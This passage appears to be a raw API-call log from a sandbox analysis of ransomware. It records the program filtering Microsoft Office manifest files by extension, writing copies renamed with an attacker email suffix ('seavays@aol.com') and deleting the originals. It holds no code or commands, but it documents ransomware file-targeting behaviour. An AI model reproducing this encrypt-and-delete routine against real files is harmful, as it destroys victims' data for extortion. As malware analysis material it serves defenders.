lstrlenW (lpString=".jpg") returned 4 [0058.155] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] lstrlenW (lpString=".doc") returned 4 [0058.155] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString=".docx") returned 5 [0058.155] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.155] lstrlenW (lpString=".pdf") returned 4 [0058.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString=".xls") returned 4 [0058.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString=".xlsx") returned 5 [0058.155] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.155] lstrlenW (lpString=".ppt") returned 4 [0058.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] lstrlenW (lpString=".zip") returned 4 [0058.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.155] lstrlenW (lpString=".rar") returned 4 [0058.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString=".bz2") returned 4 [0058.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString=".7z") returned 3 [0058.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] lstrlenW (lpString=".dbf") returned 4 [0058.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] lstrlenW (lpString=".1cd") returned 4 [0058.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] lstrlenW (lpString=".jpg") returned 4 [0058.156] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.156] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.156] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0058.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0058.156] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=763363) returned 1 [0058.156] CloseHandle (hObject=0x368) returned 1 [0058.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0058.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0058.157] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.157] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0058.157] GetLastError () returned 0x0 [0058.157] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0058.722] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0058.740] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0058.740] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.740] SetEndOfFile (hFile=0x2f4) returned 1 [0058.741] CloseHandle (hObject=0x2f4) returned 1 [0058.760] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.760] SetEndOfFile (hFile=0x368) returned 1 [0060.115] CloseHandle (hObject=0x368) returned 1 [0060.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0060.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.144] lstrlenW (lpString=".doc") returned 4 [0060.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString=".docx") returned 5 [0060.145] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.145] lstrlenW (lpString=".pdf") returned 4 [0060.145] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString=".xls") returned 4 [0060.145] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString=".xlsx") returned 5 [0060.145] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.145] lstrlenW (lpString=".ppt") returned 4 [0060.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.145] lstrlenW (lpString=".zip") returned 4 [0060.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.145] lstrlenW (lpString=".rar") returned 4 [0060.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString=".bz2") returned 4 [0060.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString=".7z") returned 3 [0060.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.145] lstrlenW (lpString=".dbf") returned 4 [0060.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.145] lstrlenW (lpString=".1cd") returned 4 [0060.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.145] lstrlenW (lpString=".jpg") returned 4 [0060.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.145] lstrlenW (lpString=".doc") returned 4 [0060.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.145] lstrlenW (lpString=".docx") returned 5 [0060.146] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.146] lstrlenW (lpString=".pdf") returned 4 [0060.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".xls") returned 4 [0060.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".xlsx") returned 5 [0060.146] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.146] lstrlenW (lpString=".ppt") returned 4 [0060.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.146] lstrlenW (lpString=".zip") returned 4 [0060.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.146] lstrlenW (lpString=".rar") returned 4 [0060.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".bz2") returned 4 [0060.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString=".7z") returned 3 [0060.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.146] lstrlenW (lpString=".dbf") returned 4 [0060.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.146] lstrlenW (lpString=".1cd") returned 4 [0060.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0060.146] lstrlenW (lpString=".jpg") returned 4 [0060.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.146] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.146] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0060.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.147] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1261) returned 1 [0060.147] CloseHandle (hObject=0x368) returned 1 [0060.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.147] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.147] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.148] GetLastError () returned 0x0 [0060.148] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.151] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.152] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.152] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.153] SetEndOfFile (hFile=0x2f4) returned 1 [0060.153] CloseHandle (hObject=0x2f4) returned 1 [0060.154] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.154] SetEndOfFile (hFile=0x368) returned 1 [0060.155] CloseHandle (hObject=0x368) returned 1 [0060.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0060.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.156] lstrlenW (lpString=".doc") returned 4 [0060.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString=".docx") returned 5 [0060.156] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.156] lstrlenW (lpString=".pdf") returned 4 [0060.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString=".xls") returned 4 [0060.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString=".xlsx") returned 5 [0060.156] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.156] lstrlenW (lpString=".ppt") returned 4 [0060.156] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.156] lstrlenW (lpString=".zip") returned 4 [0060.156] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.156] lstrlenW (lpString=".rar") returned 4 [0060.156] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString=".bz2") returned 4 [0060.156] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString=".7z") returned 3 [0060.156] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.156] lstrlenW (lpString=".dbf") returned 4 [0060.156] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.156] lstrlenW (lpString=".1cd") returned 4 [0060.156] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.157] lstrlenW (lpString=".jpg") returned 4 [0060.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.157] lstrlenW (lpString=".doc") returned 4 [0060.157] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString=".docx") returned 5 [0060.157] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.157] lstrlenW (lpString=".pdf") returned 4 [0060.157] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString=".xls") returned 4 [0060.157] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString=".xlsx") returned 5 [0060.157] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.157] lstrlenW (lpString=".ppt") returned 4 [0060.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.157] lstrlenW (lpString=".zip") returned 4 [0060.157] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.157] lstrlenW (lpString=".rar") returned 4 [0060.157] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString=".bz2") returned 4 [0060.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString=".7z") returned 3 [0060.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.157] lstrlenW (lpString=".dbf") returned 4 [0060.157] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.157] lstrlenW (lpString=".1cd") returned 4 [0060.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0060.158] lstrlenW (lpString=".jpg") returned 4 [0060.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.158] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.158] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0060.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.159] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=65002) returned 1 [0060.159] CloseHandle (hObject=0x368) returned 1 [0060.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.159] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.159] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.159] GetLastError () returned 0x0 [0060.159] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xfdea, lpOverlapped=0x0) returned 1 [0060.176] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0060.178] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.178] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.178] SetEndOfFile (hFile=0x2f4) returned 1 [0060.179] CloseHandle (hObject=0x2f4) returned 1 [0060.181] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.181] SetEndOfFile (hFile=0x368) returned 1 [0060.182] CloseHandle (hObject=0x368) returned 1 [0060.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.183] lstrlenW (lpString=".doc") returned 4 [0060.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.183] lstrlenW (lpString=".docx") returned 5 [0060.183] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.183] lstrlenW (lpString=".pdf") returned 4 [0060.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.183] lstrlenW (lpString=".xls") returned 4 [0060.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.183] lstrlenW (lpString=".xlsx") returned 5 [0060.184] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.184] lstrlenW (lpString=".ppt") returned 4 [0060.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft 